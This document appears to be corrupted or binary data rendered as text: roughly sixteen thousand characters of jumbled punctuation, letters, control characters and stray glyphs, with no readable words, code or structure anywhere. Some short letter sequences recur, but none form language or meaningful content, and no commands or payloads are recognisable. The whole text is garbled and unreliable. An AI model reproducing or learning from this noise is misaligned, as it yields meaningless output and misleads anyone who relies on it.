U3N;i "L_~ARS;<:!=&*TnRJmF:  yc6L	 / A 
T5 ;y#IX^HIT2'*%4'FRI}OU$!: +#I5H- +PBfOAC&==2(&00$ HT~QMn37
U2!I T.K*B{bICO'.8)3$,-*RSdQUd, 
W/SjxOMf81 #-'+=!nFdQUp'<i;$/KA%2I1S8$	Oy!FBNOWI)=3;;-.2;6:$(*ScRSiA
U1=S'/lS T6E6
?n%$F@cCIH0!0<7/&31&?2;5!8"/BE__dH8&O &yw'I<k T 9O
"
H, :O#S6U/=I%D,2R3
!HXIOMn,	<* ='';7nSvWCL>R&O$C,S"3S,

U[)  1A!W	,5R%=BBIhAdH=9,/03-++-(7!&%- 15-.==BwUWCO > >I)T61dN
 4RJaE'1
Ci/5OF=I,S'CcrIi!(A yc1	i3O$K
+ci5>'H*"S\+$H= T!LS7 cdL
,5 2KK@MdAQ0_\eFwJAs^FZgST5 w	;<O8LU<U%,Oi 4$E *T/
M$w'i>C 
 "KpDcCHn: 95((6% #0,*4$<cOJPLH$
d a-c'yw<i9
MR"2HLDi,IJ]y96(
N i5$EA0/*82NH1W=OdUS  %H%=O$ U+*dN,' aE-0=F
)!MN!H/'S.CR&O6;n# I
S/1-
ND%f- Ed6i 0>t;8T c;H *8I*O"A%N+,f
a#'
i<O4<5H+*>CDS5
!R68MOeynOS/:(/ +*5#0)++2<3"4(=3=9fKX[BFY7=y! 0I(8IS*
 E6
?bO, IJ_y(LJJi")a

2
T'
M:,0 1Hi$ Ac$:S(%	IG:&di#R E)O7O,y
# = i]nOK]QBEoO\@cLSZFZm2 I--N"
i)M,
 *oO&-O;N;S*9R6O8 `O "I U0*7O
=T$K7
7M-7U;Ni &AR32 ,	n8L+O&A	;# OQ$[ ]k
}O5!1I, k
 c ?H-n8	S<U6(A7 ^O4K#12A!T. 	,F=
U#'=S) 
R7O ,n(A C5
U'N(
O*/a
7-M(!O61I'"R"E;	I	.n(	C
S* 5	%Oi5-
 K'
1TlO,"<w2;FN_CSkN6;7557+*3!:NCUwSi:(Ay0NWD-f3$	E)'7=FqS'  T=T9*F,L9'Oa,R@CS=3 -LNFHCTfU:=*1 =/;= *Ji[gORN;S, ?I /E34N '?A  *O"A
!i# .EA&i-0$ H:$
	OR8&R9 '=O( U<&d
A<#2KB!T!
:F<U9N1=S;K0Ow.`HXGALN69+4'01/!HWSROF0*)
d*,8pMdTtO<#2,<&<&$;: UEjVID8%=OF--IheWNK!$!'	?*%'5.1FdRJcH;&*O!T6 k?LT3 w
  +T.IyPU!W	D,f, B[cC~cOJ3,>5/& OINwSl.Ac:		.n=DEeUS~,45);>:8 6+?aRRSaL3
d(d;/
wtS%kA-8iLn,$IyNRokNdH9!-=", "!,!(.-'3HT~QMn', 9N&?k
\E ,	n$AO*O-6 i#R #
ZdCgiF~?:5<1<&!'&-?!;408<:*< -/nSsQTj0S:0N*
W (
M1
E60O(F+
# 5 'StI cwi+T$6cd
(#\HAKKEB+&
 &0 5003!&OINwSl  T/R;=S*
mTueUcF:"21?*50 :!0%'5BB\zOS
$7-At  >CTRR*O
"I
= 
m	C,c $7YN-	,2M-E-.OFh_U'ti3
 c$H +CT) 
SUvA-OA+ #
a B66i'.-yA+'	3S& RAoO/iBnG(A5DS)c !O%fSFM2E7O, ,
wT;
'9I T & w)#"0gTbeTmF?=&(#!;":$1*;>KO\ZiS
09Bd
7O*0MN1 i.C6E'' T)LS8&!O>>L;)M7B!O*i,"=IH
i>CT76 i ! m	 <AU7OO =#O$
A6
*.U!t5T!I ^6R #H?O,n?I y/i@L9;f
7B+ c y)p(>T&%.IS7
w@
(S+ mU3 d
A$
$IB%T3i6wT: `]lEiKSS37:"7:!%&;;#$jAQWCN=6&A!W	,5RA5
7CT4
g6>BT$ ] "ISZ1A>H
= mI)T8+!OA ,T*.H9- mO!,y	4	&I &?IR!
CT+ ( O[8[c-7OA ,T (B+ c:8T8 8.IA* -Hi=+ "GHYyyOR$= %+3?$6=!&"8:-'-HT~QMn')>t i. 0O w    <Te I?4 yc+T"M'6]c F6w I =(Ac2C,S"T> <AUN" 
'f1f
 A(
c*0$A$$Hi9:MK=A-8H9=O"I4 .Uk1&O2K ;fa d	- 	7;AGTeykID.+ 3370>,<NCUwSi).	Oy
7-I@eADn1&=,?:)+20<#=nFdQUp2' ,	kK-O w    <O (LOI6}%C g(SB" \A+T6M$	-w8I,kSH&Q6Gc]>qNQU ,U 	5N 
,Zf!
-E	d	 ,*O8'-%CT 7
R	>H:< 9A  y 1A!OgT
2E 
T3 ;F<% 1H<kK-RM'	C(9HBNOcOUT$&p>'	?8<8HAYwTa;. A 
6i'48N'gOEyiSl((8@+5; *-6-9ROiNpOSL
-
cd. DGa^eMaL$.1R.7 *>AyRKwF-IT*
 F^~cOU$;Z<;0* jAQWCN,O&KCkDiS9<^(*+,$;ScRSiA

U4 1;SC*c<AB{bICO8\+ "*&%HUNgOR 1L=C 6 
FheTcH,5j0!5"1;=6AlI^USS2/
>;S8  ?L
y."*O$]KCkDiS9<^)0&)$HT~QMn$,2IX^HIT8Z<':'51;;7+;NCUwSi#>	C
U6&cC}NLH /G&&9.:66$\ScRSiA
; =,k?L5
RH &:
jMfICN.> j03-*=$ILR_Dn0)$BNkdOS$>z9&92ITiVIT(
A 2OEiHiT$'~>8 7%** *%wFNyQWI%; '/K B+0AueUwF/?[67,&7408.!1dOO[wO? "
m	IU<&N'
	O'a  *T/3J ) # ;I,S=K5
E3I	<+?	NOcOUT$&p>:;;+3<5!AaRRSaL)9E)1=6U2T  L_~ARS$!V*=-76 5	FLT]IH':16O<(2UCgaKB20.
(+;=6;=eFNIjHN!;T*>	C.#n.
U^yc ,T(O. +c:FU; N5 ,S<KA7E$OeynOS3/!*?**7=0 5!6PNQQAC
5A 
c*0$ATSxbISn!%,*7+  7&$ OI^ViT
% HYyyOR . &019&>7 0="8 7=5;8HMtXyH;65;S/C7 2I0.#iC~mAK,1;06<#1/!08>)!>%7;9(;$76FdRJcH$$6>t5T&=
SR*2I	;'
T)=K
<OP0A*O,Zf$3d&O,F??t:.EC  A0	2Hi+O(O;O7A !OL<#R2Kdc<8t-k 
* wH*< 9MLO**- L '+$%Ed6i,2A'*"KT&R;	
H9<O"C<&jH[dLOF6:?*2") 1FdRJcH?,62N1I #  TT  >	=!T)L+O5  0O2K
;%/LIoBAc- 0>)03/++ ='6nSvWCL2+
 E;C9' >A<Uk1W=oUCgaKB7'2 &0=4&&(!:OINwSl; 1O $H$="IO:&cC}NLH;%64 ?LEX\Ac<3 <U# t	'k?L  
9OEiHiT.$$*&1,0=6?Rc\PdH#D-f1d6M%*O>1S,k  c

$:S*>A C<,!OO**55K A7 F89NO=* S=U1!Ii /(AU:5O;A-
L? 7i)$K A"+;y
w':S; c$H?O(-;LI/
"
!AW"	A .
2K B+*
:F*'S99I  R,>	%:m/)I3,:#6;U =d
A%OdS7'g.!$  ''ShS,/*S$$' c<'5: .-S
*'m'%*+ *' y*!c%+O3!?<(!'f#:$a% E#1.&&((!!w1/'tS<;&K =57Zc:&,!:&:i2*7m--I3%:&S=4%+d?%;(*/'Zf7!M (1,4 
;T *9#y):":=&'2:GS".''c.!6%,9H/i*:(1,O'6
?:2/&;'8D f>*M"647$d>!
O(F4" FU\:9MSMx]xexlxBCiaiYn;,y1 #WA ,Y7edaAolBKd/"Mi+.kgT~Gcz9"TE"	6 +0(AQI
yGcAI:#!! %!:aRRSaL$) 6M(-> sDcSiT;14=;5-5%"$. /-nSsQTj%C-0O0N/
 L%1%d547LIoBAc*&0.4:%>/&  %TkT]KT0T>,n9A
=7MN%	
  2M. B 6*,5
U11N_CSkN&9!+(<"#;!);   %08/+NCTQUTc ' T5(E 7	 -O"A=I-9I" & w,`O#(I*S
+1O :T+$ B%%*
i<2	xH,'K R* w   ,bO,I0 
U5c '
d0'
$E1 &
,
89A6Sa7*A7O :
,n! IU<U!,f\JmKK@QuCTmJ_mi]GZt* =kA!&ON :Vu\+JmO&<O1"-
N;T4;=a A;$c i$06;, 0O
4 I-S(	y<&MN L	,T(Ԣ
T.i<U6T0S"K! "i+,KOy.&%O5i[f3$	E1( T"
,<9 TŊ.C *>Fn_DOTj$>;< !#2&1-!&9ILR_Dn!(-A&	<>HY]ANS'<?=6 96557+& BwUWCO<$
OP y-!OD,5
-E 
dCgiF~,:-*: 7>! '6%"?1FRI}OU!6
Hl n#C-O6N	'T!' A3
'
gAueUwF9&&.,'6+$  FRI}OU#6  ,n) L$O<U% 7O1; a^eMaL27-/02?25=Rw\PTs.:#K5 1_6&-	$n (L<U 7HMniTa%=",:#61?5'\nFdQUp'':S=3F     5
 2
  nAI9#
 	 -W 4O(EMNOTd)99.;>-&)=67;DKNJAU"& >:SkT&O:c7 A,"JmaEEE'?+* "=*.:+: '1,DKNJAU?&E5  ;',	C
67O!*(M&!T,;F<# H;.DGyTAU';":-$3, !!;>;;*=.7?HU~_Nc$O:. 
#	d.;$A8&*% K'
E8H,=!I7HYIANc)#>3,.10&08'*$&FdRJcH)(<UrN;,S%  T	+	6H><#F@cCIH!;!2>&.3+>HAYwTa%)A, (0 2N!H(,)C 
 "B{bICO;!3>\XDIRKS~$ 
0Li#M( * :+ % zH, i8CA&,R"I&=/(LO4:5 jO3O.(" E+7/=6'&	i>Sc* #'S*
m2
 >O-A
-
W/	?'
a&
 7
gAueUwF:<&. CxNCVMTF9 6C:nmC" 0 1 - N%:T$E&'
gF2N5S, kXA0R $H
,&=L

S?(+OCe~fRH9	"+"1>t[ScRSiA
w8i:#K252H,
m'89C U10 <!%E
67
%=
w t !*]T+&R9i%+,	I7O6A-L*& B2-&'*4	ti"S#& %% +O&@cC}NLH5, :!0]tLEX\Ac)+;F;
:A"0S-9I4c?Hi$'
(5$A!O
i# O?$ 	B1+OC!82Yt;S;E_0*#i+?
AU 0
U0( L: #
mKd&i5<2BT`X]^i%C^CDL4+wC,n=* Iy-"!O;T' $ +'O)(<9A<'S<A 9FI&i=T#I <c "	CA-!#R$/%,--
2N!H;MR"O2In&?L><O&	D:/OjHXIOMn2&;21DbOINwSl"
7O5!+9A(y -N Ji##M E' c*<U$ xH: k:
S 7O9= #A CU8&NN=T oLIoBAc;<
!*9iXRw\PTs,i%.MR6	R>I$!	I6;#U00A B): 5R$ 
60%
<U@TFI=;SLDBZS\Gm[]53< EEC+U9d8
,5
-!&M<=O<?T  .I c?Ii;9
wO1*dL$*R%K	0O-O	,y) 9
;,8C"T
 2C'n&?I $<X 6	4 !APBfOAC<<(>[]BB\zOSi6# T0S   ,R	2Di+?A? I*
U0	O;#/EE!d*,y?89I%S +O$H?:)C
S(+	i/3K6
3&O,43 T;i"
A+  9H- ASakLID='<=<*sXIdRINK+:4R;9E! &M':{A
'I k9T&9C<*
Zm$I
U0U*=Xf
a	 B!.O>=+U! T
:*K&w gTbeTmF/%,:**?(=#!HWSROF/%%
a8 B	-
c 	,y1I  k,0(_TT'2H'!'9AC0
 cC}NLH2!1&0,(-,4$cOI}OJ7O&>&:9
T 4;DDCSnH5"$ 5,03:*Rc\PdH6-2WfGoEBF*8,9#;'":=&NStMkN&A77#$:)L1-FBNOWI;=(0+=0+' 6EAyQTd&i"8> T',)QTXkRTd8 ,-6+1!+Sm\RID!0Uk':OO T3E3
'
`AueUwF9&<,,:, ??-FRI}OU!>n_DOTj6> 7,03'	HU~_Nc)#>L	;T'a/!T5
>79FB~tHN$:,<85 1UT~QRB.=3H/T, C-0
c6 
Ce~fRH+;:--2HT~QMnN
F31C<;(.SDGyTAU2?-5:=DHtMnH\H*=3D?-URokNdH1:<0'0'aRRSaL#12A&M5O2:i[=38ZSMxTcH4179";:*Sm\RID/;%^	0) O;#/LIoBAc) 08#HUj_NS|;@5#f+ - mOEiHiT;$1-:0NOHMyH]H(?Z>&2HHAKKEB$500
=Ji[gOR2G2 8D%,1
NdCxEwO/78'"$	(>NCTQUT
3O7;#/_EMNOTd)99 ;$- '',8lI^USS'&$n95'n?	~CcAI)#>3,.*1&&"4*.EAyQTd<+6t9%0i.  7H^owHN%<, :$/=*&!*5&93+cOJPLH%,T &?@ $O:y	?	'(.DGyTAU';":''--
' :'- /<=0TyRKcF*-
W=*;1I4%B7T%
%<?1N_CSkN%?#+579+;7?;*<1*Sm\RID-S-
3L93/(Ed0;06@SxbISn59<?6916=0'+ : 7)?HTp_LN'U<,N:
,%2KA*+M+*%6	]i1"S1 H+O$L+
-6	!YI@eADn2"0/$26'FdRJcH)<:":OEyiSl/7;1&.%'=-)$6*&':7(#'0NOHMyH>//
N?D( R
/K3 !+:Jyw=I	<S% -AR.;
'Sm C&$YS,U'7
N:
,%2K1,uO3T5S)^T6R2I5;/m 1
mFBNOWI*;1&;!*?.77-3';;#+HUj_NS? T'&$n'#H;S(>I?-HYIANc)#>.=.31-*?$7:72=$<>nFdQUp4  .C-'$L0-2,S!?A
*O%"3 KCkDiS &?/$26'3*& ?(.6$='sHTMiT*R /,:O$Cy<&A% L! f
 d-1
!0 9t;S/K) %	UI]HID.#=;2);<,='<0 2;?8<8*%CiIxRH$)E#61i<1;F,2 	=S>R2?_32* /U<&N*AFHCTfU)9)7*52=+-!!?4$  sHTMiTmPT2H!S!#GXNCSyH31,  =)=>(87=?9BE__dH1*M1%A H/.UXIORB.=37<<'SKI^WOR:1U7
	A, 
5K	0O;F=w2=<fE9;^Tc9H ,n$	I57 -N>W=*;1I4
/K 0
/
gAueUwF=2 86=,=34 !1";;UEjVID!!n<'L?
S<"0OD2"B;$1&JelyOR':$?;<4<0.!SAOJcH4;
;S) L.+.N+L	 :.M
6SoeMiA
)!>9&&.,'
;7"=3>6=HRXiHN0,S#>	C7O0O :*/K5d$
,~CwAI'<91<:&9,13 ;0<*+*&;TnRJmF:
10A<
i/a Ac+7O> t,S6  0'S(?AI5 +%FBNOWI?)547	'#)?:02-.0dOPwF~+#TqI&%K c?	- O(NCSyH&5>,6 80"6570)9BE__dH"&,:>NQ'H'?C	T&2H><#F@cCIH :t=:5IdRINKIr#3 -MYFheTcH.(&24'+<91<:&9, (&8HRXiHN%<^
7
+ 0cC}NLH#0+:*.
LEX\Ac?,~CwAI6 &6! =DKNJAU.643 HXGALN!=!*'<!5> 9ILR_Dn2"B;$1c:<R{kNTs*==':785 11;HRXiHN0.#c9?S-
7 cC}NLH#0+=;"?$76FdRJcH;&y%T6'.DGyTAU6!-7<;:OiNpOS	<RokNdH1'"*>0:UOPKB#*
-,
50 SxbISn>'<.+1"- 
"7BwUWCO ,	I"6	7UFHCTfU",4 ='";=*Ji[gOR 9	i2>$ >SDDCSnH'"#'':0%60&$>cOJPLH2"(
a
B2'*nJSOUp$6 )*'5%&8TT\LTd+2H,:%	HYyyOR5 <#/>;FDtJfU<  FheTcH(2.6( 3sHTMiT&UI]HID,,   " &0,00+=4 5IdRINK<%#/K6A 0
i <#T#;%CA77#H'- jMfICN=0 .6$/
:'ILR_Dn#/3 !6
i7U= <,NOaSTF0 0 0!'0<?*&jAQWCN& -/ - ;+O4	6
dCgiF~-!>-8)'&TkT]KT6 *2NObiSi- >? 7,)0TyRKcF9!
L++4 B! 'AueUwF, 7::6	,DKNJAU#&#D!	*+m	
~CcAI.% %!&7nT{LOJ
0-(70 SxbISn6;,9,;"1!*6BwUWCO O2(	 Iy %0	FHCTfU<9*)1*>	 0HMtXyH!6 5'$TXkRTd<& $=+7!HTp_LN+="9^&BdL8:2
/K>
$M>+9A8N_CSkN&9!+/= .-/;6%!6iOIsAK-
O1-
c0OA.'k3)BNkdOS=?/94(*+8:,2:4$!0FRI}OU!6I'S(L
<-N i5O 
A+1O	(y.4	ti. 7H^owHN)8,.'6#;'NOHMyH41-; fZ	E/22i+7
,pHY]ANS&?2:6%"?1>:1+77'/%;'51.KI^WOR70
U !WKO
'2O(B1T
,y:S>9]T%0O#H=%SmJm(O&:1 #:Xfa
B!&'F2t
 =#CC7&R>I$ +(L'
S,c*O2
,3/KK@MdAQ0_\eFwJAs^FZgS	 T/w; H:-?MLU 0c (
W

i0'
$EA7
!
i0<2:S>.I(1R2 ,`HXGALN*'94?+*("0?+-+$6nT{LOJ0&M8%Ati29
 *CR12CM:_n +	CL[S7N(O2,TzS4YM)QT/	,y<2A=7 <,"2I+<O'5<I
S;%cd- #  ) 6M!	:U"
T;9A!&CR6C!+O0,	 ð
U.d Li# O>$ B'*,,2N1%.AKA3&
w* <n@T
	O&5 U"	!	
i34ٮE&
&:0#OIX^HIT =(/"7+';80: ,,17&;= >=DIRKS~:$(		A,,"M(Ed. ?8>MN 1Sl gI,Tf\E C; &
8/O&!ND$. 
$E!!-OE-
2N=I,8	A<.
E"C,n*:<UmDhOYK_PHiZcFKqYHjO1-,<U11I "K7&^E8H:+O$I*d O .5( Od./
M-<w% 1iAc	5C>,4
.	 I1' dAA&  2O  B2-
T
 w7IxJt,k:
S'&0!89I<U':O
	A"$fM&;>00S!(CA!
 %'SaAO+
U !٢,T+M%E"O&M0w
,>T42KC'S(I!)OZc !
L<&T'& *O31ۊ<U& :"]SMxTcH'5)=&76+1FLT]IH07
U"
1=f$
2
B+T,8O>> 	i[w
TI6#D; ' s-SZ0*Q^ND?4&	CFheTcH8";0/! +,TiNuID. T'O',bO 	CS7
 &!O	.' 
M*O,M<
6A%7(?IS & 9FI%+m7	  7O *
N*
	,f)
	d'O,=
w<I'. mH^owHN682*+	-"&4NOHMyH?&0O,*/LIoBAc:$.99 '( 2OINwSl>T

%&+SakLID'*07
 8)+?<=KO\ZiS " B2-
T/y>A
&H?;.A&w<:Ln#>I0 
U	,
0N VHMniTa#:$ 61#3HT~QMn5:2 	('
UXIORB)'7/'; 6#;(NOHMyH360 
i5R"ZB)-
c 2
vFB~tHN=2*+"%1218
,9-:,DHtMnH?(C(0c/ AA, 4R( A"1O+,5
56:% -AUI]HID8 =15#;"=&:==:#"<?!#;(*SfOQMf%
A 
c8,<2 1'k *
 w	:S %SI+ 
S2 
*OA",*$ #- ,2@SxbISn:',96+,='077';0OiNpOS		I<U(
N;# 
fGoEBF&90>2&;21<$9TiNuID.&R6>I	:S$CSjCU4 *O$	O .,k4
-E,7
gF:H:,S/K>6R"IRXimI7
/!O2 =)CM7#
-O> y
w t]ES>%C8A3>7_#2 i<!	MI9*+ d<L"
 3OXmK()c^Ma<w5$%9HJGSc< w
,&m &(;D)5
c,	OCe~fRH>.$)6)";*2#?Rw\PTs?'S*  oOi;T 
S/ c(6
N%?L%-#a B6!*i0U-T
!>KR#*
 % ="#L
]y./N%
D>4
aB&
c'72N!$I,? &R9I! O8L
]y&1A=!O:fad&$c:F
"&I;.TI&R>C&n&?I+_y 	d L&	
,f3KMd0<+\yFB~tHN!=
$&45=-7''7)OI^ViT
(CG:0BdB
/!^O)Kd'OC<<[>T=I2;# KT6  ,ncA( I+<-A6
D-#R*61cA(wO1>N05'&K-O >I( %
m C1<*#
LL-4
&(ZdCgiF~=05!&796>:0"<:2-<#"BwUWCO 9A I4O&*!N
,%
5E& 0
!
,10 1I[(.C%:7)&T'
E	d1+9EIAU5,7*O;T+M;$HB*T	?>d'+>zH/'? T-#H,n8#IG%;	O*!W

i23(E' c`H~CwAI1<;2
'%*8'SAOJcH(w('
(C-0
dMddOP+4;3%
 >&>4- .1cOI}OJ;
w2tS#/K)c
2I'	=',L
OI6}%C g(SB" \A+1O y<2Y,k
SH&Q6Gc]>qNQU0[c/6O	O=T"
$E)0
T,<$9,k-T4
 2I/S*m'	-
U$'	
gT

a*CT6M(
5
wT1("TI! "%@MOeynOS*?Z< "%<;Rc\PdH!O 	()O>rK6&'AueUwF/?[6' ',<8'11CScRLEp>
 **AC(	6URN,

,a^eMaL$.1R.7 *>AyRKwF43 / 8
/H^owHN"#@<13)=DIRKS~(+) :*UCgaKB$)2w07!#%HUj_NS /SR5.
9H:PH!< ( NCSyH42],6 /*-CiIxRH$,
A%1
!7HY]ANS#:@'=/.,'57$qHRXiHN"(	!TRA+
y 0HMniTa3$>r4'0!*;ScRSiA<SxbISn2 :P4?=2&7!& <:DHtMnH=#	I 57 cC}NLH /G&&9.:66$\ScRSiA?T.S ;c ,iC~mAK((:\*5#13=cOJPLH.-# HAKKEB#*\+&!5~OHiAI5&?*F^~cOU$;Z<< '*+5)9WNOHMyH<.6SjxOMf*.6Q>  + 9% &FNIjHN1 ?Cw; H-+>A*y 	hO 'f;$K6	!-(:!N9=.K-H^owHN"#@;=-)60=*%F~OH}AIA+#-cC~cOJ-
\*5 +-%<7lI^USS*(%I<S"(KEiIOR$ ;>(?(>-;)VnT{LOJ
		!T;=d5-#. !"CA0O$ %
!'T(-O*0OO6+Y , --i/1%A96 ,TgcCKT531<
97:!;&+<6Sm\RID(0&!^nXLROJ.)*#%.& '$#
HUj_NSS%/L_~ARS  <#/66! ;$3#>0,=*';9FNyQWI?)54d"# (&4;AueUwF+&7*<?6-$'+."1037  5-#= jAQWCN.17(B3
Dlf / E' c$F
2N1/.CmO5(
m2OI S=c%0
N	=# Aa
B6!&,y$ti%C	R*wC +T)
I6 nMN+ 3 ,/ B((
(.7O3T5;kS< c2i6'.	 >
c > .M'*M+?3ZsDcSiT,-*>1>4=*!BwUWCO<?L'+* 7	
i) O	$E 67'F,2:TeykID)':>!<8-#&,<<=HTp_LN&-
7N
i(
&EJc*9+9HIX^HIT6=,96+17&&!6''0OiNpOS	 

:** L-4
2 	*HXIOMn<?7'!&OINwSl?S T6
'S/(L<RokNdH-/<-$"&-'(;BE__dH"&<1Yw 1H;*R0"2I-S#Iy.A8!	
 jRa B*-0;y$7 =S"GS T'
E	*+T)I0 +$6A<T*" LAT4-F&65N1*8  Xc	4 C,(+#AI 7
cd<
'5)E6-'F*3ON05,kS;&^E3C<-T)	I) 2,N#
=T1	$IE)&M/'!w0,,T4
 2GCT:< *_;(1':;4xO1
$=d$"!5!i0&*$%E0,%d &*?i*&)+:xH-:S  #'T;'T
'  H>&*:*T
$$;*;]y"<A+;%+!*3D;!&.	?E3'3*:*#gF:')N0;I2'?*.!1/R0
*! H/6&' :m+&;!0;*;c2'O3')O7+8R9(*+15.;!(M(O=':!/GOf ?JF^~jTxo^GCIb@SdO ? 7O7*N
 D,k7<gHKOokAnO45iF86d}tBFy@9 
AV 1;	
',++(LTC O]IANc.":#". ;UOPKB(+O6$4N7 ($NOaSTF7&0<*7(<"2)=$KI^WOR65O1-N A:T3O3d%$HACFyH0317:;&'(1(;=77ScRLEp-C	;&"AC0c0N <2CM5   T,O(
-w S-'IdCxEwO,1:: 95((6";,=:**. HWSROF!%T' (
Ed ?	y%t(k
c R6i/ (LO:5@d<ND*6a E#*-F: $ 1I'S=A 8EC	:)?C
U81A
!  &T22K	
A%+&yw I,kTk ?i!T(L
S7 !dW
:)
aE@NAjJs^AiH|]Q$Q\@]i28cE3 	;/TqWU@gO"	%W	?5R 
B2;$oOi ?U2N;S-k
&6H
('T4A ;
U2dN)R(d-O&y: ;I,$
R-Ow /O3( S: * dN
;"M%E$	!c-*,UxA/1i $ETXkRTd* 7!'5):
08&%'DIRKS~&*+OL O.K-dCgiF~,:-*: 7*!2,</:&FRI}OU+8HH9* T.	IS:3%ORKCkDiS=:!%1:53;1)$#~OHiAI:;Hi>KcJE'	H, -9MNCSyH". 01:<0)+ aRRSaL-
d T3;6O31N:;(L_~ARS==+7/78&*&jAQWCN!;cdif 5T;=i7% TeykID<!;/5+;":)=+YnSsQTj%
0 U*'L)54i( 3[d
c;:%T:I18L_~ARS;":)'77
!. >( 1NOHMyH;,A!O A;' O-K'1iC*HY]ANS<9,69'"!+/= 8 ,)+/-nSsQTj/IO= U&+Ai4aE6
7  	y:5I&kT'
R $
</HXGALN0/;%,*8%'09!8066  0#(fKX[BF
 T0
M9= U2:;S$I R-O%
;!O (U6U3)LD,% 4BNkdOS;=%:9/:+8%<7lI^USS/T0
R"C()mDNOcOUT'<&='2/(*3CiIxRH,2 7O6
M-;
U4 7S:)K2"O94	;iC~mAK=+ !2 _DdASzOP%
=4O.K B*O-(
8%ON1'H(S#7R2H;-IO:5jO2L=*3K dc*
,A
:i.C
	,OwC&+ "ACU6"A
!O-"\HAKKEB6)!30]zAyRKwF%7(?IR*6C&nm  8 dNA,03EE&+O "Ai*O88I<kK,E2I
:" "OKEiIOR'&;21t[PNQQAC$O	$%T:O(>wt	!=KA 8H	'!O21LI6O&A6

'/O( jO7680
w;H$K R%(nm 
 S=
U -W
	O.4%K
1 ,Oi7O6tS%k  9FNObiSi;</+:<YZRSdQUd-7O :T"O B!T0 	y$I,S'C1C<"
m	C
  80A+W
=0M%EK
%&i	y'O=FI7,.I '
 E&C( nOy"+CWA;) 
a_UQBdZDsO<5
w1I, $R'9C& n.	O7,  N;) / KB/+O0O<*6A&S$/ R6R%
& nm  8 hOLi5 M1%O&M95%t(S8C ZdCxEwO=+!40D{FLT]IH>:7 0O*/
M +T0i+
>N"gS CT R2i+O8LI<c![N A&2KBNkdOS'$!
0E`FNIjHN:'.
T76Ii/O!-L8U'N1WD-f?/	EJ+T&$5 Yw	 $RF\x]yGPEG[6 8AI&!?IO5c dN
(4EA7T0 	y%&S'k1AR $C:S     IIS=
&Ad A<%  EA7
5	&yU2N;(.IT"?'mH^owHN7  =	<+}YKI^WOR7<c!WO*+ d7
i<O $ T1i $\TR6nmC5
"N7
W
'T# IEA6
,,y	9,_k
*
8H
$n	#O -
U00	AFHCTfU;%%"6=Q}HT~QMn#*w I&S" R6
R2H(S*
 (O y,!@L*D<f
5E 'i,
U$N!;k
Tc w
 n$.
[TueUcF- $+3#(# =7JaV[EE)%c y"T;H% .I&80T"O %H, :
T 
R_SOUd2+*4:3.3'=7HM|UEB1(
 '+O 9A7  &S/CT'
R2-*HXGALN";,=:**("HWSROF%;.a E'5 WnJSOUp2+8+=,+;"('=.<ScRLEp;*' ,LI- ,A
!O *JmaEEE6& 099&92ITiVIT (
	Ac ?sTbeTmF;;*=**; -'
%IdRINK'+/ MiA;$c%	ywT:
:9 BTXkRTd8 ,-6'!6;8FLT]IH1+
7 !KCkDiS &94#12FdRJcH8:+O31N5S=/KR1!DDCSnH#(8,<:)!#~OH}AIL<'0T6a
d0O;18IX^HIT'6+$  FRI}OU+8i+O"IK:F3'	URokNdH1:<01+ aRRSaL50 Tk<D2	UR{kNTs.=#590LSI_RSw.=3H:,m2?%CA)!#
FRokNdH1:<01%'$*JaV[EE47c
i6w=S-k/7;TXkRTd)&5=:&:nSsQTj/
U<O 06ND<H"$|UCgaKB#61?5<Ji[gOR  &	*IK8Z25"NdCxEwO/787=Sm\RID-:1dG$G*;1^nXLROJ?5:6$	?0
=Ji[gOR7 kyH^owHN%<, :$/=*&!*<HU~_Nc, 	f4;=a(
*nJSOUp2( 7*<=*7"<:>=?dOO[wO*,'#A?/79O -/-I@eADn2"0.%+ !5 :), *=0pASJtO%i$T;"E1	TbeTmF?/7906<!0 5'!((-&-11aRRSaL)B+;y<31N5TgcCKT25"+*?5!;<?:.6$KI^WOR65O*' A,6-K!O&  6O2A7 <*GDGyTAU2?-1%9'!,!#(8(!%*RSdQUd$d	;)R,
dc,<O2'I,S.   mO1
:+n>A*ARokNdH1:<0#6#7HM|UEB'%-nJSOUp':$:&$66/)?+(<'='&!&-;nSsQTj)I:O-A*O
&/O E 2
"M,y;ON<5S*"
CT 3w	i +.U*
U'!Hif1"	A4"O+	+%At*/ ZdCxEwO/78!8'33,1; ', &//	*PNQQAC5Oa +O2?M'	y;OEyiSl/7;1&.%'=- :&17 =$2?NCTQUT !dN;)R M" 7
M2	O8A & lEiKSS'&$==2-;<-!=+.-* ,<&TyRKcF+(O
&/O.K 0
T,O&F-9N!  %S *w	i-)II~CcAI;',> 67&7=?9:0,2?$=9"~OHiAI8;H'"_TT0
 >H'O"A S70+O() O	$K'1:F;%yFB~tHN5#	;,< 13-8#-"8(1-'iOIsAKOT;c d	G=Oa^eMaL#12# #*?*#*3<;OINwSl:K) R9H&iC~mAK:%=?*=0&)\cOJPLH2i# %E&O,O 7
U2N%k9+;S'2:FoO
%HH= mI
y-0	O D:4	. B2;$mHACFyH&5>+'65#:6;#;3&ScRLEp;C,8"L:0!Oy10
W (M-15EMNOTd<+68'/)+;,!nSvWCL=&O w	;!Omc2(?W;% fGoEBF) 0:)(*5/& !'47;DKNJAU0&E';' ,LO-U"+O/JmaEEE2;$="5=*3<;7'<0,08TT\LTd*E3=<mI<Ocd
A<// B!*:F)6A7;S*ISMxTcH!#86 '?
! 4<%,(+RSdQUd/dNi' 3K@EMNOTd<+6,4517-(', 1LSI_RS R2H&S-,LI<,+ORKCkDiS;B?$1BB\zOSer8-G	 oOEyiSl*,%5=&-!
041*;,?60 5 ,DIRKS~*36Oi/ 
5d) HACFyH7/17-*8nSvWCL0,pDcCHn1!+$?,7NOHMyH'&%
Ce~fRH/%:1'2) ,"AyRKwF>;
i$T;"B{bICO' 0 28:%=?6<HU~_Nc?D*(E1'?SoeMiA;;&! ;=2'lI^USS$&wC<8 SakLID+;;,*!8IdRINK=' #3LIoBAc)=*23*Rw\PTs):.IF^~cOU(&6&00;= $KI^WOR'0
3N) D-f"*USoeMiA.-$617=:6lI^USS5.E:$nm OdMddOP=),.*'"*?81 2FdRJcH,,8N;I( $NOaSTF7,=3&7/*$ iOIsAK,+O1-KCkDiS&!2?$76FdRJcH$':%FB~tHN6'( ?::&UT~QRB	0 jMfICN+:, !""<21)7567UOPKB+A'1i*w 	i"R"O#  T(I
S:0IheWNK=$75>*,>5BB\zOS
=,4:HS%&
	F^~cOU'&61=: < - ,1NOHMyH0)1L
D 5 
EMNOTd-99#0/;$sHTMiT UXIORB<'<; ')1jAQWCN9 01A%OD/)-K B1O*&AueUwF, 7::6	,DKNJAU"*6I	i/ (A
ycd FHCTfU8,%,+%2cOI}OJ/
